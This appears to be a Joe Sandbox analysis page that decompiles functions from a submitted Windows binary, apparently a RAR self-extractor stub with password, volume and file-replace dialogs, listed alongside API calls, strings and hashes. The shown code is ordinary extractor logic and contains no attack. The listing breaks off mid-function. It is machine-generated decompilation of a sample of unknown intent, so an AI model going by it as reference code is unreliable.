Instruction ID: 0fa7da3e3305a5a6633f6fbdf06229d8f7d011b210da7fb1999fcdcf3b72033a
Opcode Fuzzy Hash: b65eef06dd6203e5b8b0ef631ebc280e0d5f3e33e42a9e104f5b0351e2fb19e5
Instruction Fuzzy Hash: ED3161B1A04258FFDB21DF9DD9809AEBBFCEB95B18F10809EE90497214D6709E40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013A7463 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E013A7463(void* __ebx, void* __edx, void* __esi) {
				void* _t26;
				long _t32;
				void* _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t52;
				void* _t57;
				void* _t58;
				void* _t61;

				_t57 = __esi;
				_t52 = __edx;
				_t42 = __ebx;
				E013BCDF0(E013CF517, _t61);
				E013BCEC0();
				 *((intOrPtr*)(_t61 - 0x20)) = 0;
				 *((intOrPtr*)(_t61 - 0x1c)) = 0;
				 *((intOrPtr*)(_t61 - 0x18)) = 0;
				 *((intOrPtr*)(_t61 - 0x14)) = 0;
				 *((char*)(_t61 - 0x10)) = 0;
				_t54 =  *((intOrPtr*)(_t61 + 8));
				_push(0);
				 *((intOrPtr*)(_t61 - 4)) = 0;
				_push(_t61 - 0x20);
				if(E013A3A90( *((intOrPtr*)(_t61 + 8)), _t52) != 0) {
					if( *0x13dcba2 == 0) {
						if(E013A7A9D(L"SeSecurityPrivilege") != 0) {
							 *0x13dcba1 = 1;
						}
						E013A7A9D(L"SeRestorePrivilege");
						 *0x13dcba2 = 1;
					}
					_push(_t57);
					_t58 = 7;
					if( *0x13dcba1 != 0) {
						_t58 = 0xf;
					}
					_push(_t42);
					_t43 =  *((intOrPtr*)(_t61 - 0x20));
					_push(_t43);
					_push(_t58);
					_push( *((intOrPtr*)(_t61 + 0xc)));
					if( *0x13da9e0() == 0) {
						if(E013AB2C5( *((intOrPtr*)(_t61 + 0xc)), _t61 - 0x106c, 0x800) == 0) {
							L10:
							E013A6F5F(_t70, 0x52, _t54 + 0x1e,  *((intOrPtr*)(_t61 + 0xc)));
							_t32 = GetLastError();
							E013C1A79(_t32);
							if(_t32 == 5 && E013AF2F6() == 0) {
								E013A1599(_t61 - 0x6c, 0x18);
								E013B01CD(_t61 - 0x6c);
							}
							E013A6E8B(0x13dcbe8, 1);
						} else {
							_t39 =  *0x13da9e0(_t61 - 0x106c, _t58, _t43);
							_t70 = _t39;
							if(_t39 == 0) {
								goto L10;
							}
						}
					}
				}
				_t26 = E013A15CE(_t61 - 0x20);
				 *[fs:0x0] =  *((intOrPtr*)(_t61 - 0xc));
				return _t26;
			}

0x013a7463
0x013a7463
0x013a7463
0x013a7468
0x013a7472
0x013a747a
0x013a747d
0x013a7480
0x013a7483
0x013a7486
0x013a7489
0x013a748e
0x013a748f
0x013a7495
0x013a749d
0x013a74aa
0x013a74b8
0x013a74ba
0x013a74ba
0x013a74c6
0x013a74cb
0x013a74cb
0x013a74d9
0x013a74dc
0x013a74dd
0x013a74e1
0x013a74e1
0x013a74e2
0x013a74e3
0x013a74e6
0x013a74e7
0x013a74e8
0x013a74f3
0x013a750b
0x013a7520
0x013a7529
0x013a752e
0x013a753d
0x013a7545
0x013a7555
0x013a755d
0x013a755d
0x013a7566
0x013a750d
0x013a7516
0x013a751c
0x013a751e
0x00000000
0x00000000
0x013a751e
0x013a750b
0x013a756c
0x013a7570
0x013a7579
0x013a7583

APIs

__EH_prolog.LIBCMT ref: 013A7468

Part of subcall function 013A3A90: __EH_prolog.LIBCMT ref: 013A3A95

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000), ref: 013A752E

Part of subcall function 013A7A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 013A7AAC
Part of subcall function 013A7A9D: GetLastError.KERNEL32 ref: 013A7AF2
Part of subcall function 013A7A9D: CloseHandle.KERNEL32(?), ref: 013A7B01

Strings

SeSecurityPrivilege, xrefs: 013A74AC
SeRestorePrivilege, xrefs: 013A74C1

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 7a76f19778c87c6fa9ab0e0975e53a0c40dd2a68e8f9064c118fee7399ff9da3
Instruction ID: 3b747086c92d35a40d6f23f773b7a06037a3e4b0367ee8c7b24936844174ad88
Opcode Fuzzy Hash: 7a76f19778c87c6fa9ab0e0975e53a0c40dd2a68e8f9064c118fee7399ff9da3
Instruction Fuzzy Hash: D031DF71901249AEEF20EFACEC80BEEBFBCEF14718F444019E589A7241D7758A04CB61

Uniqueness

Uniqueness Score: -1.00%

Function 013BA8D3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E013BA8D3(void* __ebx, void* __eflags, signed short _a2, signed int _a4, char _a6, intOrPtr _a8196) {
				char _v0;
				void* _t15;
				void* _t19;
				void* _t22;
				void* _t25;
				WCHAR* _t31;
				void* _t32;
				void* _t33;
				void* _t36;
				void* _t42;

				_t36 = __ebx;
				E013BCEC0();
				_t42 = 0;
				_t15 = E013AEF59(__eflags, _a8196,  &_v0, 0x1000);
				_t39 = _t15;
				if(_t15 == 0) {
					L25:
					return _t15;
				} else {
					do {
						_t42 = _t42 + 1;
						if(_t42 != 1 && (_v0 == 0x2f || _v0 == 0x2d)) {
							_t19 = CharUpperW(_a2 & 0x0000ffff) - 0x44;
							if(_t19 == 0) {
								_push(0x800);
								_push( &_a4);
								_push(0x13e412a);
								L22:
								E013AF160();
								goto L23;
							}
							_t22 = _t19 - 1;
							if(_t22 == 0) {
								__eflags = CharUpperW(_a4 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _a6;
									if(__eflags == 0) {
										 *0x13e4129 = 1;
									}
								}
								goto L23;
							}
							_t25 = _t22 - 0xb;
							if(_t25 == 0) {
								E013AE030(_t36, 0x13e612a,  &_a4);
								goto L23;
							}
							if(_t25 != 3) {
								goto L23;
							}
							_t31 = CharUpperW(_a4 & 0x0000ffff);
							if(_t31 == 0) {
								L15:
								 *0x13e4124 = 1;
								L16:
								 *0x13f0822 = 1;
								goto L23;
							}
							_t32 = _t31 - 0x31;
							if(_t32 == 0) {
								goto L15;
							}
							_t33 = _t32 - 1;
							if(_t33 == 0) {
								 *0x13e4124 = 2;
								goto L16;
							}
							_t61 = _t33 != 0x1e;
							if(_t33 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_a6);
							_push(0x13e512a);
							goto L22;
						}
						L23:
						_t15 = E013AEF59(_t61, _t39,  &_v0, 0x1000);
						_t39 = _t15;
					} while (_t15 != 0);
					goto L25;
				}
			}

0x013ba8d3
0x013ba8d8
0x013ba8e8
0x013ba8f2
0x013ba8f7
0x013ba8fb
0x013ba9f4
0x013ba9fc
0x013ba901
0x013ba907
0x013ba907
0x013ba90b
0x013ba930
0x013ba933
0x013ba9c9
0x013ba9ce
0x013ba9cf
0x013ba9d4
0x013ba9d4
0x00000000
0x013ba9d4
0x013ba939
0x013ba93c
0x013ba9b3
0x013ba9b6
0x013ba9b8
0x013ba9be
0x013ba9c0
0x013ba9c0
0x013ba9be
0x00000000
0x013ba9b6
0x013ba93e
0x013ba941
0x013ba9a1
0x00000000
0x013ba9a1
0x013ba946
0x00000000
0x00000000
0x013ba957
0x013ba95a
0x013ba984
0x013ba984
0x013ba98e
0x013ba98e
0x00000000
0x013ba98e
0x013ba95c
0x013ba95f
0x00000000
0x00000000
0x013ba961
0x013ba964
0x013ba978
0x00000000
0x013ba978
0x013ba966
0x013ba969
0x00000000
0x00000000
0x013ba96b
0x013ba970
0x013ba971
0x00000000
0x013ba971
0x013ba9d9
0x013ba9e4
0x013ba9e9
0x013ba9eb
0x00000000
0x013ba9f3

APIs

CharUpperW.USER32(?,?,?,?,00001000), ref: 013BA92B
CharUpperW.USER32(?,?,?,?,?,00001000), ref: 013BA952

Strings

-, xrefs: 013BA919

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CharUpper
String ID: -
API String ID: 9403516-2547889144
Opcode ID: bde1143f517b0b851055b8cfc381666627b76a0a03fb11aec55409a13cad26d8
Instruction ID: ece00fbabee3e86600d7b8b59b270c9e62191ad96878e44141a91be219d9197d
Opcode Fuzzy Hash: bde1143f517b0b851055b8cfc381666627b76a0a03fb11aec55409a13cad26d8
Instruction Fuzzy Hash: AE21A27940470E95E621AA6D8488BFBBAECAB9535CF02091AF7D5C3D41F674C088B362

Uniqueness

Uniqueness Score: -1.00%

Function 013B9122 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E013B9122(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				WCHAR** _t13;
				void* _t16;
				WCHAR** _t18;
				WCHAR** _t20;
				void* _t22;
				WCHAR** _t23;
				WCHAR** _t24;
				intOrPtr _t26;
				void* _t27;
				struct HWND__* _t29;
				signed short _t30;

				_t24 = _a16;
				_t30 = _a12;
				_t29 = _a4;
				_t26 = _a8;
				if(E013A12E7(__edx, _t29, _t26, _t30, _t24, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t27 = _t26 - 0x110;
				if(_t27 == 0) {
					_push( *_t24);
					 *0x13fa958 = _t24;
					L13:
					SetDlgItemTextW(_t29, 0x65, ??);
					goto L14;
				}
				if(_t27 != 1) {
					L6:
					return 0;
				}
				_t12 = (_t30 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					_t13 =  *0x13fa958; // 0x0
					GetDlgItemTextW(_t29, 0x65,  *_t13, _t13[1]);
					_push(1);
					L10:
					EndDialog(_t29, ??);
					goto L14;
				}
				_t16 = _t12 - 1;
				if(_t16 == 0) {
					_push(0);
					goto L10;
				}
				if(_t16 == 0x64) {
					_t18 =  *0x13fa958; // 0x0
					_push(0);
					_push(E013AB8DC(__eflags,  *_t18));
					_t20 =  *0x13fa958; // 0x0
					_push( *_t20);
					_push(E013AD192(0x8e));
					_t22 = E013A10C0(_t29);
					__eflags = _t22;
					if(_t22 == 0) {
						goto L14;
					}
					_t23 =  *0x13fa958; // 0x0
					_push( *_t23);
					goto L13;
				}
				goto L6;
			}

0x013b9123
0x013b9128
0x013b912d
0x013b9132
0x013b914a
0x013b91da
0x013b91dc
0x00000000
0x013b91dc
0x013b9150
0x013b9156
0x013b91c9
0x013b91cb
0x013b91d1
0x013b91d4
0x00000000
0x013b91d4
0x013b915b
0x013b916f
0x00000000
0x013b916f
0x013b9160
0x013b9163
0x013b91b2
0x013b91bf
0x013b91c5
0x013b91a9
0x013b91aa
0x00000000
0x013b91aa
0x013b9165
0x013b9168
0x013b91a7
0x00000000
0x013b91a7
0x013b916d
0x013b9173
0x013b9178
0x013b9181
0x013b9182
0x013b9187
0x013b9193
0x013b9195
0x013b919a
0x013b919c
0x00000000
0x00000000
0x013b919e
0x013b91a3
0x00000000
0x013b91a3
0x00000000

APIs

Part of subcall function 013A12E7: GetDlgItem.USER32(00000000,00003021), ref: 013A132B
Part of subcall function 013A12E7: SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

EndDialog.USER32(?,00000001), ref: 013B91AA
GetDlgItemTextW.USER32(?,00000065,00000000,?), ref: 013B91BF
SetDlgItemTextW.USER32(?,00000065,?), ref: 013B91D4

Strings

ASKNEXTVOL, xrefs: 013B913A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 26a473781e48da625b75df31bd435d3792e5298ae06ae68d5b0470a338f47762
Instruction ID: 77e62c359038eb3e198e113d933e2457f623f7f3e7dbad104176a14d0df3a970
Opcode Fuzzy Hash: 26a473781e48da625b75df31bd435d3792e5298ae06ae68d5b0470a338f47762
Instruction Fuzzy Hash: 2911E676241215BFE6219FACED8DF963BADEF4A70CF014018F3019B9A4D261A801A721

Uniqueness

Uniqueness Score: -1.00%

Function 013B9645 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E013B9645(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* __ebx;
				void* _t15;
				signed short _t24;
				struct HWND__* _t28;
				intOrPtr _t29;
				void* _t30;

				_t24 = _a12;
				_t29 = _a8;
				_t28 = _a4;
				if(E013A12E7(__edx, _t28, _t29, _t24, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t30 = _t29 - 0x110;
				if(_t30 == 0) {
					SetDlgItemTextW(_t28, 0x66, _a16);
					goto L10;
				}
				if(_t30 != 1) {
					L5:
					return 0;
				}
				_t15 = (_t24 & 0x0000ffff) - 1;
				if(_t15 == 0) {
					GetDlgItemTextW(_t28, 0x65,  &_v260, 0x80);
					E013AE030(_t24, 0x13f0720,  &_v260);
					E013AE07B( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t28, ??);
					goto L10;
				}
				if(_t15 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x013b964f
0x013b9653
0x013b9657
0x013b9670
0x013b96df
0x00000000
0x013b96e1
0x013b9672
0x013b9678
0x013b96d9
0x00000000
0x013b96d9
0x013b967d
0x013b968c
0x00000000
0x013b968c
0x013b9682
0x013b9685
0x013b96ab
0x013b96bd
0x013b96ca
0x013b96cf
0x013b9692
0x013b9693
0x00000000
0x013b9693
0x013b968a
0x013b9690
0x00000000
0x013b9690
0x00000000

APIs

Part of subcall function 013A12E7: GetDlgItem.USER32(00000000,00003021), ref: 013A132B
Part of subcall function 013A12E7: SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

EndDialog.USER32(?,00000001), ref: 013B9693
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 013B96AB
SetDlgItemTextW.USER32(?,00000066,?), ref: 013B96D9

Strings

GETPASSWORD1, xrefs: 013B965E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 156a82072a24c5b7923228d87efb1e28b17841e55875ec65526d8fd28adcb6a6
Instruction ID: fe818f6e43311a3c7a2c8fe98777146ebcf12dd37d41d5fb78757196afe16055
Opcode Fuzzy Hash: 156a82072a24c5b7923228d87efb1e28b17841e55875ec65526d8fd28adcb6a6
Instruction Fuzzy Hash: C711E5B294011977EB219E789D89FFA7B6CEB0D73CF000051FB44B3880D2A59900CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013AB150 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E013AB150(void* __ecx, void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t23;
				signed short* _t27;
				signed int _t29;
				signed int _t31;

				_t20 = _a8;
				_t27 = _a4;
				 *_t20 = 0;
				_t10 = E013AB45F(_t27);
				if(_t10 == 0) {
					_t29 = 0x5c;
					if( *_t27 == _t29 && _t27[1] == _t29) {
						_push(_t29);
						_push( &(_t27[2]));
						_t10 = E013C00DA(__ecx);
						_pop(_t23);
						if(_t10 != 0) {
							_push(_t29);
							_push(_t10 + 2);
							_t13 = E013C00DA(_t23);
							if(_t13 == 0) {
								_t14 = E013C20A3(_t27);
							} else {
								_t14 = (_t13 - _t27 >> 1) + 1;
							}
							asm("sbb esi, esi");
							_t31 = _t29 & _t14;
							E013C35B3(_t20, _t27, _t31);
							_t10 = 0;
							 *((short*)(_t20 + _t31 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E013A3F2B(_t20, _a12, L"%c:\\",  *_t27 & 0x0000ffff);
			}

0x013ab151
0x013ab158
0x013ab15d
0x013ab160
0x013ab167
0x013ab184
0x013ab188
0x013ab193
0x013ab194
0x013ab195
0x013ab19b
0x013ab19e
0x013ab1a3
0x013ab1a4
0x013ab1a5
0x013ab1ae
0x013ab1b8
0x013ab1b0
0x013ab1b4
0x013ab1b4
0x013ab1c2
0x013ab1c4
0x013ab1c9
0x013ab1d1
0x013ab1d3
0x013ab1d3
0x013ab19e
0x00000000
0x013ab1d7
0x00000000

APIs

_swprintf.LIBCMT ref: 013AB177

Part of subcall function 013A3F2B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A3F3E

_wcschr.LIBVCRUNTIME ref: 013AB195
_wcschr.LIBVCRUNTIME ref: 013AB1A5

Strings

%c:\, xrefs: 013AB16D

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 03f5b7b603bba2cb6b4290a81a13e531e76a6fe3efbd6ad7bf913e260f7c9531
Instruction ID: ee3ddb0e4c58f38c53ebb8af0bc459b21d44228f0f4750efa74cbcbdc9e6b09f
Opcode Fuzzy Hash: 03f5b7b603bba2cb6b4290a81a13e531e76a6fe3efbd6ad7bf913e260f7c9531
Instruction Fuzzy Hash: 9101F967504312B9D630676D8C41C6BE7ECEEA56A4B80450FFD44D2485FA30E85083B1

Uniqueness

Uniqueness Score: -1.00%

Function 013AF982 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E013AF982(long* __ecx, long _a4) {
				void* __esi;
				void* __ebp;
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t25 = __ecx;
				_t23 = 0x20;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x13dcbe8);
					E013A6D8A(E013A6D8F(_t19), 0x13dcbe8, _t25, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x013af982
0x013af982
0x013af98a
0x013af98e
0x013af98f
0x013af993
0x013af995
0x013af995
0x013af99e
0x013af9a0
0x013af9a0
0x013af9a2
0x013af9aa
0x013af9ac
0x013af9ac
0x013af9ae
0x013af9b4
0x013af9bb
0x013af9cf
0x013af9d5
0x013af9db
0x013af9e7
0x013af9ed
0x013af9f7
0x013afa03
0x013afa03
0x013afa09
0x013afa11
0x013afa17
0x013afa20

APIs

InitializeCriticalSection.KERNEL32(000001A0,00000000,013E1E74,?,?,013AFB9D,00000020,?,013AA812,?,013AC79B,?,00000000,?,00000001,?), ref: 013AF9BB
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,013AA812,?,013AC79B,?,00000000,?,00000001,?,?,?,013B3AFE), ref: 013AF9C5
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,013AA812,?,013AC79B,?,00000000,?,00000001,?,?,?,013B3AFE), ref: 013AF9D5

Strings

Thread pool initialization failed., xrefs: 013AF9ED

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 68f9244cdcb61bef42390d8c32daf719cd920d1a598fc77169220439b231de26
Instruction ID: 6bd6e3b4d3b8c0ac08d06d438da112e3fdb1d87f3234395c88814f600b0ea6ba
Opcode Fuzzy Hash: 68f9244cdcb61bef42390d8c32daf719cd920d1a598fc77169220439b231de26
Instruction Fuzzy Hash: 131182B1501705AFD3305F6AD889AABFBECFF95759F50482EF2DE82200DA716880CB10

Uniqueness

Uniqueness Score: -1.00%

Function 013BBEE6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013BBEE6(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				_Unknown_base(*)()* _t16;
				int _t22;
				WCHAR* _t25;

				 *0x13f7930 = _a12;
				 *0x13f7934 = _a16;
				 *0x13e211c = _a20;
				if( *0x13e20fb == 0) {
					if( *0x13e20fa == 0) {
						_t16 = E013BA536;
						_t25 = L"REPLACEFILEDLG";
						while(1) {
							_t22 = DialogBoxParamW( *0x13dcba8, _t25,  *0x13e20f0, _t16, _a4);
							if(_t22 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x13dcba4, L"RENAMEDLG",  *0x13e2100, E013BB81F, _v0) != 0) {
								break;
							}
						}
						return _t22;
					}
					return 1;
				}
				return 0;
			}

0x013bbef1
0x013bbefa
0x013bbf03
0x013bbf08
0x013bbf15
0x013bbf26
0x013bbf2b
0x013bbf52
0x013bbf66
0x013bbf6b
0x00000000
0x00000000
0x013bbf50
0x00000000
0x00000000
0x013bbf50
0x00000000
0x013bbf72
0x00000000
0x013bbf19
0x00000000

Strings

REPLACEFILEDLG, xrefs: 013BBF2B, 013BBF5D
RENAMEDLG, xrefs: 013BBF41

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 627df87bf61b23f679b563b9a8b902dd212471edabc0dc0ccff1b370a96c8213
Instruction ID: fd8f80df2e418f651d3ad451d02a61ce81450cc8dd78117e3cb1762cc8508e86
Opcode Fuzzy Hash: 627df87bf61b23f679b563b9a8b902dd212471edabc0dc0ccff1b370a96c8213
Instruction Fuzzy Hash: 42019E76605305AFD3218A29FC80E63BFDDE749388F04042AE641D6A68E6628D09DF61

Uniqueness

Uniqueness Score: -1.00%

Function 013ACE98 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E013ACE98(intOrPtr* __ecx) {
				char _v2052;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t19;

				_t19 = __ecx;
				_t6 = FindResourceW(GetModuleHandleW(0), 0x13d0628, 5);
				if(_t6 == 0) {
					E013AC96F(_t19, 0x13d0630,  &_v2052, 0x400, 1, 0x13d0630);
					_t10 = E013C20D9( &_v2052,  &_v2052, 0x13d0628);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t19 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t19 + 0x10)) = 1;
				return _t6;
			}

0x013acea5
0x013aceb6
0x013acebe
0x013acedd
0x013aceea
0x013acef2
0x013acef4
0x013acef7
0x00000000
0x013acef7
0x013acec0
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 013ACEA7
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 013ACEB6

Strings

RTL, xrefs: 013ACEAF, 013ACEB4, 013ACEE8
LTR, xrefs: 013ACEC6, 013ACED1, 013ACEDA

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: c67f6700376dc870306632787ebe971083bce468ec4c06ee4d3d7e1162a0a9c9
Instruction ID: 14667ad81164fb8c51fb1362d1a6d7ea74374dcf2029574f6d1f67a9d42a61b0
Opcode Fuzzy Hash: c67f6700376dc870306632787ebe971083bce468ec4c06ee4d3d7e1162a0a9c9
Instruction Fuzzy Hash: 1EF0243260425877E638A6786C09FAB3BACE781F14F14065EB606A60C0DBA4990C87F4

Uniqueness

Uniqueness Score: -1.00%

Function 013BBE09 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E013BBE09(void* __eflags, WCHAR* _a4) {
				char _v8196;
				int _t7;
				WCHAR* _t12;
				void* _t14;

